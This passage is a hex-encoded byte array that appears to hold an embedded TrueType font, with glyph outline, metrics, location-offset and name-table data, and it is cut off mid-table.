0x10,0xdd,0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2, + 0x1,0x3,0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15, + 0x23,0x35,0x21,0x15,0x23,0x35,0x2,0x8,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82, + 0x82,0x82,0x0,0x0,0x1,0x1,0xf8,0x5,0xc4,0x3,0x5d,0x6,0xcd,0x0,0x3,0x0, + 0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1, + 0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27, + 0x3,0x21,0x3c,0xfe,0xcc,0x31,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0x98,0x5, + 0xc4,0x2,0xfe,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x1,0xd4,0x1,0x2a,0x32,0xfe,0xcc,0x6, + 0xcd,0xba,0x4f,0x9a,0x0,0x0,0x1,0x1,0x37,0x5,0xc4,0x3,0xb1,0x6,0xc7,0x0, + 0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, + 0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0, + 0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0x77,0x1, + 0x3a,0x2b,0xfe,0xf1,0xfe,0xe6,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0, + 0x1,0x1,0x54,0x5,0xe7,0x3,0xbe,0x6,0xa2,0x0,0x11,0x0,0x29,0xb3,0xa,0x9, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1,0xc,0xa,0x9,0x3,0x1,0x0, + 0x1,0x0,0x13,0x10,0xc0,0xc0,0xc4,0xc0,0xc0,0xc4,0x13,0xb3,0x10,0x3,0x7,0xc, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x17,0x6,0x23,0x22,0x27,0x26,0x23,0x22,0x7, + 0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x3,0x70,0x4e,0x54,0x68,0x2c,0x5e,0x54, + 0x28,0x2c,0x29,0x53,0x4b,0x63,0x29,0x5e,0x5c,0x20,0x38,0x6,0xa2,0x33,0x88,0x29, + 0x24,0x49,0x2e,0x88,0x27,0x26,0x0,0x0,0x1,0x1,0x0,0x5,0xc4,0x3,0x7b,0x6, + 0xc7,0x0,0x5,0x0,0x24,0xb5,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, + 0x2e,0x2e,0x0,0x40,0x9,0x1,0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10, + 0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x25,0x37,0x5,0x25,0x17,0x2, + 0x41,0xfe,0xbf,0x26,0x1,0x1b,0x1,0xf,0x2b,0x5,0xc4,0xb6,0x4d,0x7c,0x7c,0x4d, + 0x0,0xff,0xff,0x0,0x3d,0xff,0xf2,0x4,0x43,0x6,0xc7,0x0,0x36,0x0,0x17,0x0, + 0x0,0x0,0x16,0x1,0x1,0x0,0x0,0x0,0x2,0x1,0x99,0x5,0xfa,0x3,0xa5,0x6, + 0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, + 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x21,0x15, + 0x23,0x35,0x2,0x33,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82,0x0,0x0, + 0x1,0x2,0x23,0x5,0xc4,0x3,0x88,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2, + 0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13, + 0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x4c,0x3c,0xfe, + 0xcd,0x32,0x6,0xcd,0x6f,0x9a,0x4f,0x0,0x1,0x1,0xc3,0x5,0xc4,0x3,0x29,0x6, + 0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x0,0xb6, + 0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0x13,0x31,0x30, + 0x1,0x5,0x7,0x25,0x1,0xff,0x1,0x2a,0x32,0xfe,0xcc,0x6,0xcd,0xba,0x4f,0x9a, + 0x0,0x0,0x1,0x1,0x62,0x5,0xc4,0x3,0xdc,0x6,0xc7,0x0,0x5,0x0,0x24,0xb5, + 0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0x40,0x9,0x1, + 0x5,0x4,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0, + 0x13,0x31,0x30,0x1,0x5,0x7,0x25,0x5,0x27,0x2,0xa3,0x1,0x39,0x2b,0xfe,0xf2, + 0xfe,0xe5,0x26,0x6,0xc7,0xb6,0x4d,0x7c,0x7c,0x4d,0x0,0x0,0x1,0x1,0xdf,0x5, + 0xc4,0x3,0x45,0x6,0xcd,0x0,0x3,0x0,0x1b,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e, + 0x2e,0x2e,0x0,0xb6,0x1,0x3,0x2,0x1,0x0,0x1,0x0,0x13,0x10,0xc0,0xc0,0xc0, + 0xc0,0x13,0x31,0x30,0x1,0x17,0x5,0x27,0x3,0x8,0x3d,0xfe,0xcc,0x32,0x6,0xcd, + 0x6f,0x9a,0x4f,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0xcd,0x0,0x36,0x0, + 0x1d,0x0,0x0,0x0,0x16,0x1,0x7,0x0,0x0,0x0,0x2,0x1,0x3a,0x5,0xfa,0x3, + 0x46,0x6,0x7c,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4, + 0x5,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd, + 0x3c,0x0,0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3, + 0x10,0xdd,0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x1,0x15,0x23,0x35, + 0x21,0x15,0x23,0x35,0x1,0xd4,0x9a,0x2,0xc,0x9a,0x6,0x7c,0x82,0x82,0x82,0x82, + 0x0,0x0,0x2,0x0,0x58,0xff,0xf2,0x3,0x8b,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, + 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, + 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, + 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, + 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, + 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, + 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, + 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, + 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xc,0x8b,0x97,0xdc,0xef,0xa8, + 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, + 0xe2,0xa1,0x61,0x61,0x9e,0x1,0x1c,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, + 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xf3,0x43, + 0x6e,0x73,0x48,0xb0,0x6f,0x4d,0x0,0x0,0x2,0xff,0xf0,0x4,0x66,0x1,0x92,0x4, + 0xe8,0x0,0x3,0x0,0x7,0x0,0x33,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x4,0x5,0x2f, + 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x7,0x6,0x5,0x10,0xdd,0x3c,0x0, + 0xb1,0x0,0x3,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd, + 0x3c,0xb2,0x6,0x5,0x7,0x10,0xdd,0x3c,0x31,0x30,0x13,0x15,0x23,0x35,0x21,0x15, + 0x23,0x35,0x8a,0x9a,0x1,0xa2,0x9a,0x4,0xe8,0x82,0x82,0x82,0x82,0xff,0xff,0x0, + 0x4f,0xff,0xf2,0x3,0x7c,0x5,0x49,0x0,0x36,0x0,0x35,0x0,0x0,0x0,0x16,0x0, + 0x8f,0xe5,0x0,0xff,0xff,0xff,0xf9,0xfe,0x53,0x3,0x22,0x5,0x47,0x0,0x36,0x0, + 0x3b,0x0,0x0,0x0,0x16,0x0,0x8c,0xa9,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0, + 0x1,0x0,0x0,0xcd,0x8a,0x8e,0xe4,0x5f,0xf,0x3c,0xf5,0x0,0xb,0x8,0x0,0x0, + 0x0,0x0,0x0,0xa6,0xe8,0xcd,0xc6,0x0,0x0,0x0,0x0,0xa7,0x95,0x67,0x76,0xfe, + 0x86,0xfe,0x0,0x8,0xfb,0x6,0xef,0x0,0x0,0x0,0x9,0x0,0x2,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x6,0x66,0xfe,0x66,0x0,0x0,0x9,0x21,0xfe, + 0x86,0xfe,0x85,0x8,0xfb,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, + 0x0,0x0,0x0,0x0,0x0,0x1,0xe,0x2,0xaa,0x0,0x44,0x0,0x0,0x0,0x0,0x2, + 0xaa,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x4,0xde,0x0,0xa,0x4, + 0xf0,0x0,0x82,0x4,0xc6,0x0,0x4c,0x5,0x3a,0x0,0x82,0x3,0xfc,0x0,0x4b,0x3, + 0xe9,0x0,0x82,0x4,0xf4,0x0,0x4b,0x5,0x55,0x0,0x82,0x1,0xa1,0x0,0x82,0x4, + 0x4,0x0,0x35,0x4,0xd3,0x0,0x82,0x3,0xe1,0x0,0x82,0x6,0xdd,0x0,0x82,0x5, + 0x92,0x0,0x82,0x4,0xe8,0x0,0x2f,0x4,0xb8,0x0,0x82,0x5,0x3e,0x0,0x30,0x4, + 0xfc,0x0,0x82,0x4,0x7a,0x0,0x3d,0x4,0x1e,0x0,0x7,0x5,0x3d,0x0,0x83,0x4, + 0x93,0xff,0xf6,0x7,0xfd,0x0,0x3,0x4,0xa6,0xff,0xf6,0x4,0x80,0xff,0xf6,0x4, + 0x89,0x0,0x30,0x7,0x6e,0xff,0xf7,0x7,0xe4,0x0,0x4c,0x5,0x9,0x0,0x14,0x4, + 0xc6,0x0,0x4c,0x4,0x14,0x0,0x59,0x4,0x17,0x0,0x7b,0x3,0xe1,0x0,0x5f,0x4, + 0x15,0x0,0x61,0x4,0x5,0x0,0x5f,0x2,0x1f,0x0,0xe,0x4,0x15,0x0,0x60,0x4, + 0x1d,0x0,0x7b,0x1,0x81,0x0,0x7b,0x1,0x7d,0xff,0xf6,0x3,0x71,0x0,0x7b,0x1, + 0x82,0x0,0x7b,0x6,0x9b,0x0,0x7b,0x4,0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4, + 0x15,0x0,0x7b,0x4,0x14,0x0,0x60,0x3,0x30,0x0,0x89,0x3,0xca,0x0,0x4f,0x2, + 0x9b,0xff,0xf6,0x4,0xf,0x0,0x7b,0x3,0x38,0xff,0xf9,0x5,0x5d,0x0,0x7,0x3, + 0x3b,0xff,0xf9,0x3,0x1c,0xff,0xf9,0x3,0x3a,0x0,0x2c,0x6,0xa1,0x0,0x59,0x6, + 0xb2,0x0,0x5f,0x4,0xd,0x0,0x3b,0x4,0x31,0x0,0x82,0x1,0x81,0x0,0x7b,0x3, + 0xa7,0x0,0xe,0x3,0xa7,0x0,0xe,0x3,0xe1,0x0,0x5f,0x4,0xe9,0x0,0xd2,0x4, + 0xe8,0x0,0x6f,0x4,0xe8,0x0,0x69,0x4,0xe8,0x0,0x36,0x4,0xe8,0x0,0x85,0x4, + 0xe7,0x0,0x63,0x4,0xe8,0x0,0x62,0x4,0xe9,0x0,0x68,0x4,0xe9,0x0,0x65,0x4, + 0xe8,0x0,0x5d,0x4,0xe9,0x0,0x5f,0x4,0xe9,0x0,0x37,0x4,0xe7,0x0,0xb7,0x4, + 0xe8,0x0,0x92,0x4,0xe9,0x0,0x45,0x1,0x90,0x0,0x7b,0x1,0x90,0x0,0x7b,0x1, + 0x90,0x0,0x7b,0x4,0xc7,0x0,0x7b,0x1,0x96,0x0,0x6d,0x1,0x6d,0x0,0x44,0x1, + 0x6e,0x0,0x56,0x2,0x8d,0x0,0x62,0x2,0x8d,0x0,0x56,0x2,0x8d,0x0,0x62,0x1, + 0xeb,0x0,0xa0,0x1,0xeb,0x0,0xa2,0x4,0x28,0x0,0x6d,0x4,0x28,0x0,0x66,0x3, + 0x93,0x0,0x66,0x3,0x93,0x0,0x66,0x2,0x42,0x0,0x66,0x2,0x42,0x0,0x66,0x5, + 0x2b,0xff,0x78,0x1,0xa9,0x0,0x0,0x4,0xe8,0x0,0xe3,0x5,0x89,0x0,0x0,0x2, + 0x38,0x0,0x67,0x2,0x38,0x0,0x66,0x2,0x37,0x0,0x71,0x2,0x37,0x0,0x69,0x5, + 0x9a,0x0,0x75,0x4,0xe9,0x0,0x9a,0x4,0xe8,0x0,0xec,0x4,0xe8,0x0,0xec,0x4, + 0xe9,0x1,0x7,0x1,0x43,0x0,0x5d,0x2,0x7f,0x0,0x5d,0x5,0xa,0x0,0x52,0x4, + 0xe8,0x0,0x5e,0x2,0xed,0x0,0x5d,0x4,0xe8,0x0,0x9b,0x4,0xe8,0x0,0x9b,0x4, + 0xe8,0x0,0x9b,0x6,0x5e,0xff,0xfd,0x4,0xec,0x0,0x60,0x5,0x55,0x0,0x72,0x1, + 0x96,0x0,0x6d,0x1,0x96,0x0,0x7b,0x3,0xf,0x0,0xab,0x3,0xf,0x0,0xab,0x3, + 0x45,0x0,0x75,0x3,0x45,0x0,0x84,0x4,0xe9,0x0,0x94,0x1,0x11,0xfe,0x86,0x6, + 0x49,0x0,0x22,0x9,0x21,0x0,0x22,0x5,0x2b,0xff,0x78,0x4,0x0,0x0,0xfa,0x3, + 0xf9,0x1,0xb0,0x4,0x0,0x1,0x63,0x4,0x0,0x1,0x8b,0x4,0x0,0x1,0x1e,0x4, + 0x0,0x0,0xf9,0x4,0x0,0x0,0xf9,0x4,0x0,0x0,0xf7,0x4,0x0,0x0,0xeb,0x4, + 0x0,0x1,0x25,0x4,0x0,0x1,0x93,0x4,0x0,0x2,0x15,0x3,0xff,0x1,0x5,0x5, + 0xf7,0x0,0x44,0x5,0xf7,0x0,0x44,0x2,0x38,0x0,0x0,0x4,0x27,0x0,0x0,0x4, + 0xe1,0x0,0x0,0x3,0x78,0x0,0x0,0x5,0x55,0x0,0x0,0x2,0x6a,0x0,0x0,0x3, + 0xd8,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x3, + 0x77,0x0,0x0,0x3,0x77,0x0,0x0,0x5,0xa,0x0,0x0,0x4,0xfd,0x0,0x0,0x4, + 0x9e,0x0,0x0,0x3,0x7f,0x0,0x0,0x3,0x92,0x0,0x0,0x0,0x8c,0x0,0x0,0x4, + 0x0,0x0,0x0,0x4,0x28,0x0,0x0,0x3,0xd8,0x0,0x0,0x3,0x39,0x0,0x0,0x4, + 0xe1,0x0,0x0,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4, + 0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x4,0xde,0x0,0xa,0x3,0xfc,0x0,0x4b,0x3, + 0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x3,0xfc,0x0,0x4b,0x1,0xa0,0x0,0x15,0x1, + 0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1,0xa0,0xff,0xae,0x5,0x92,0x0,0x82,0x4, + 0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4,0xe8,0x0,0x2f,0x4, + 0xe8,0x0,0x2f,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5,0x3d,0x0,0x83,0x5, + 0x3d,0x0,0x83,0x4,0x80,0xff,0xf6,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, + 0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4,0x14,0x0,0x59,0x4, + 0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x4,0x5,0x0,0x5f,0x1, + 0x81,0xff,0xf0,0x1,0x81,0x0,0x59,0x1,0x81,0xff,0xd1,0x1,0x81,0xff,0xd5,0x4, + 0x20,0x0,0x7b,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4, + 0xc,0x0,0x60,0x4,0xc,0x0,0x60,0x4,0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x4, + 0xf,0x0,0x7b,0x4,0xf,0x0,0x7b,0x3,0x1c,0xff,0xf9,0x5,0x39,0x0,0x0,0x4, + 0xb8,0x0,0x82,0x4,0xc,0x0,0x60,0x4,0x15,0x0,0x7b,0x3,0x31,0x0,0x8c,0x3, + 0x3a,0x0,0x50,0x3,0x3a,0x0,0x4c,0x4,0xe8,0x0,0xc2,0x7,0x85,0x0,0x8c,0x7, + 0x84,0x0,0x8c,0x7,0x84,0x0,0x4c,0x0,0x8c,0x0,0x0,0x4,0xde,0x1,0x69,0x4, + 0xde,0x2,0xe,0x4,0xde,0x1,0x6a,0x4,0xde,0x1,0x32,0x4,0xde,0x1,0x48,0x4, + 0xde,0x1,0xd2,0x3,0xfc,0x1,0x6,0x3,0xfc,0x1,0x8f,0x3,0xfc,0x1,0x30,0x3, + 0xfc,0x0,0xce,0x1,0xa0,0x0,0x15,0x1,0xa0,0x0,0x6f,0x1,0xa0,0xff,0xcb,0x1, + 0xa0,0xff,0xae,0x5,0x92,0x1,0xa2,0x4,0xe8,0x1,0x6e,0x4,0xe8,0x1,0xf8,0x4, + 0xe8,0x1,0x98,0x4,0xe8,0x1,0x37,0x4,0xe8,0x1,0x54,0x4,0x7a,0x1,0x0,0x4, + 0x7a,0x0,0x3d,0x5,0x3e,0x1,0x99,0x5,0x3e,0x2,0x23,0x5,0x3e,0x1,0xc3,0x5, + 0x3e,0x1,0x62,0x4,0x7f,0x1,0xdf,0x4,0x80,0xff,0xf6,0x4,0x7f,0x1,0x3a,0x4, + 0x13,0x0,0x58,0x1,0x81,0xff,0xf0,0x3,0xca,0x0,0x4f,0x3,0x1c,0xff,0xf9,0x0, + 0x0,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x25,0x0,0x65,0x0,0xcc,0x1, + 0x28,0x1,0x6a,0x1,0xa7,0x1,0xdc,0x2,0x47,0x2,0x83,0x2,0xa0,0x2,0xe4,0x3, + 0x29,0x3,0x4f,0x3,0xde,0x4,0x4b,0x4,0x96,0x4,0xe2,0x5,0x41,0x5,0xa7,0x6, + 0xc,0x6,0x39,0x6,0x80,0x6,0xc0,0x7,0x50,0x7,0xb0,0x8,0x5,0x8,0x4b,0x8, + 0xac,0x9,0x34,0x9,0xb2,0xa,0x25,0xa,0x90,0xa,0xec,0xb,0x2f,0xb,0x8c,0xb, + 0xdf,0xc,0x31,0xc,0xa7,0xc,0xf6,0xd,0x26,0xd,0x76,0xd,0xbc,0xd,0xd9,0xe, + 0x47,0xe,0x92,0xe,0xcd,0xf,0x28,0xf,0x84,0xf,0xcf,0x10,0x25,0x10,0x85,0x10, + 0xce,0x11,0xf,0x11,0x8c,0x11,0xcb,0x12,0x27,0x12,0x61,0x13,0xf,0x13,0x93,0x14, + 0x8,0x14,0x80,0x14,0x9d,0x15,0x14,0x15,0x79,0x15,0xd3,0x16,0x7,0x16,0x63,0x16, + 0xde,0x17,0x31,0x17,0x99,0x18,0x10,0x18,0x40,0x18,0xba,0x19,0x2a,0x19,0x6b,0x19, + 0xf8,0x1a,0xa2,0x1b,0xa,0x1b,0x69,0x1b,0xdb,0x1b,0xf7,0x1c,0x25,0x1c,0x3f,0x1c, + 0x7d,0x1c,0xb4,0x1c,0xfd,0x1d,0x35,0x1d,0x99,0x1d,0xfd,0x1e,0x5f,0x1e,0x8d,0x1e, + 0xbc,0x1f,0x11,0x1f,0x66,0x1f,0xb3,0x20,0x0,0x20,0x35,0x20,0x6a,0x20,0x88,0x20, + 0xa3,0x20,0xbd,0x20,0xd8,0x21,0x21,0x21,0x69,0x21,0x93,0x21,0xbd,0x22,0x51,0x22, + 0xdb,0x23,0x17,0x23,0x6e,0x23,0xc1,0x23,0xdd,0x24,0xb,0x24,0xa7,0x25,0x27,0x25, + 0x5f,0x25,0x97,0x25,0xdc,0x26,0x7,0x26,0x96,0x26,0xd8,0x27,0x4f,0x27,0x86,0x27, + 0xbe,0x28,0x22,0x28,0x8a,0x29,0x4,0x29,0x55,0x29,0x9e,0x29,0xbc,0x2a,0x3c,0x2a, + 0xeb,0x2b,0x7,0x2b,0x33,0x2b,0x4d,0x2b,0x7f,0x2b,0x9e,0x2b,0xbe,0x2b,0xe3,0x2c, + 0x8,0x2c,0x2f,0x2c,0x66,0x2c,0x92,0x2c,0xb0,0x2c,0xe0,0x2c,0xfb,0x2d,0x86,0x2e, + 0x22,0x2e,0x43,0x2e,0x85,0x2e,0xb3,0x2f,0xf,0x2f,0x67,0x2f,0xbe,0x30,0x25,0x30, + 0x59,0x30,0x8b,0x30,0xd1,0x31,0x16,0x31,0x38,0x31,0x99,0x31,0xec,0x32,0x47,0x32, + 0xa4,0x32,0xcf,0x32,0xeb,0x33,0x4,0x33,0x3a,0x33,0x76,0x33,0xbd,0x34,0x1f,0x34, + 0x2a,0x34,0x35,0x34,0x40,0x34,0x4b,0x34,0x56,0x34,0x61,0x34,0x6c,0x34,0x77,0x34, + 0x82,0x34,0x8d,0x34,0x98,0x34,0xa3,0x34,0xae,0x34,0xb9,0x34,0xc4,0x34,0xcf,0x34, + 0xda,0x34,0xe5,0x34,0xf0,0x34,0xfb,0x35,0x6,0x35,0x11,0x35,0x1c,0x35,0x27,0x35, + 0x32,0x35,0x3d,0x35,0x48,0x35,0x53,0x35,0x5e,0x35,0x69,0x35,0x74,0x35,0x7f,0x35, + 0x8a,0x35,0x95,0x35,0xa0,0x35,0xab,0x35,0xb7,0x35,0xc3,0x35,0xfd,0x36,0x8,0x36, + 0x13,0x36,0x1e,0x36,0x29,0x36,0x34,0x36,0x3f,0x36,0x4a,0x36,0x55,0x36,0x60,0x36, + 0x6b,0x36,0x76,0x36,0xd6,0x37,0x27,0x37,0x91,0x37,0xeb,0x38,0x19,0x38,0x70,0x38, + 0xed,0x39,0x34,0x39,0xc6,0x3a,0x44,0x3b,0x15,0x3b,0x42,0x3b,0x6e,0x3b,0x8a,0x3b, + 0xa7,0x3b,0xcc,0x3c,0x0,0x3c,0x2d,0x3c,0x59,0x3c,0x75,0x3c,0x92,0x3c,0xb7,0x3c, + 0xe2,0x3c,0xfe,0x3d,0x1a,0x3d,0x3e,0x3d,0x72,0x3d,0x9e,0x3d,0xba,0x3d,0xd7,0x3d, + 0xfc,0x3e,0x30,0x3e,0x55,0x3e,0x60,0x3e,0x8c,0x3e,0xa8,0x3e,0xc5,0x3e,0xea,0x3f, + 0x6,0x3f,0x11,0x3f,0x3d,0x3f,0xa8,0x3f,0xd3,0x3f,0xde,0x3f,0xe9,0x0,0x0,0x0, + 0x1,0x0,0x0,0x1,0xe,0x0,0x4f,0x0,0x7,0x0,0x3a,0x0,0x4,0x0,0x2,0x0, + 0x4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x24,0x0,0xf0,0x0,0x2,0x0,0x1,0x0, + 0x0,0x0,0x28,0x1,0xe6,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x87,0x0, + 0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x9,0x0,0x87,0x0,0x1,0x0, + 0x0,0x0,0x0,0x0,0x2,0x0,0x7,0x0,0x90,0x0,0x1,0x0,0x0,0x0,0x0,0x0, + 0x3,0x0,0x9,0x0,0x97,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x4,0x0,0x9,0x0, + 0xa0,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x5,0x0,0xc,0x0,0xa9,0x0,0x1,0x0, + 0x0,0x0,0x0,0x0,0x6,0x0,0x10,0x0,0xb5,0x0,0x1,0x0,0x0,0x0,0x0,0x0, + 0x7,0x0,0x56,0x0,0xc5,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x2,0x0,0xc,0x1, + 0x1b,0x0,0x3,0x0,0x1,0x4,0x6,0x0,0x4,0x0,0x12,0x1,0x27,0x0,0x3,0x0, + 0x1,0x4,0x7,0x0,0x2,0x0,0x10,0x1,0x39,0x0,0x3,0x0,0x1,0x4,0x7,0x0, + 0x4,0x0,0x12,0x1,0x49,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x0,0x1,0xe,0x1, + 0x5b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x1,0x0,0x12,0x2,0x69,0x0,0x3,0x0, + 0x1,0x4,0x9,0x0,0x2,0x0,0xe,0x2,0x7b,0x0,0x3,0x0,0x1,0x4,0x9,0x0, + 0x3,0x0,0x12,0x2,0x89,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x4,0x0,0x12,0x2, + 0x9b,0x0,0x3,0x0,0x1,0x4,0x9,0x0,0x5,0x0,0x18,0x2,0xad,0x0,0x3,0x0, + 0x1,0x4,0x9,0x0,0x6,0x0,0x20,0x2,0xc5,0x0,0x3,0x0,0x1,0x4,0x9,0x0, + 0x7,0x0,0xac,0x2,0xe5,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x2,0x0,0xc,0x3, + 0x91,0x0,0x3,0x0,0x1,0x4,0xa,0x0,0x4,0x0,0x12,0x3,0x9d,0x0,0x3,0x0, + 0x1,0x4,0xb,0x0,0x2,0x0,0x10,0x3,0xaf,0x0,0x3,0x0,0x1,0x4,0xb,0x0, + 0x4,0x0,0x12,0x3,0xbf,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x2,0x0,0xc,0x3, + 0xd1,0x0,0x3,0x0,0x1,0x4,0xc,0x0,0x4,0x0,0x12,0x3,0xdd,0x0,0x3,0x0, + 0x1,0x4,0x10,0x0,0x2,0x0,0xe,0x3,0xef,0x0,0x3,0x0,0x1,0x4,0x10,0x0, + 0x4,0x0,0x12,0x3,0xfd,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x2,0x0,0x12,0x4, + 0xf,0x0,0x3,0x0,0x1,0x4,0x13,0x0,0x4,0x0,0x12,0x4,0x21,0x0,0x3,0x0, + 0x1,0x4,0x14,0x0,0x2,0x0,0xc,0x4,0x33,0x0,0x3,0x0,0x1,0x4,0x14,0x0, + 0x4,0x0,0x12,0x4,0x3f,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x2,0x0,0xc,0x4, + 0x51,0x0,0x3,0x0,0x1,0x4,0x1d,0x0,0x4,0x0,0x12,0x4,0x5d,0x0,0x3,0x0, + 0x1,0x8,0x16,0x0,0x2,0x0,0xc,0x4,0x6f,0x0,0x3,0x0,0x1,0x8,0x16,0x0, + 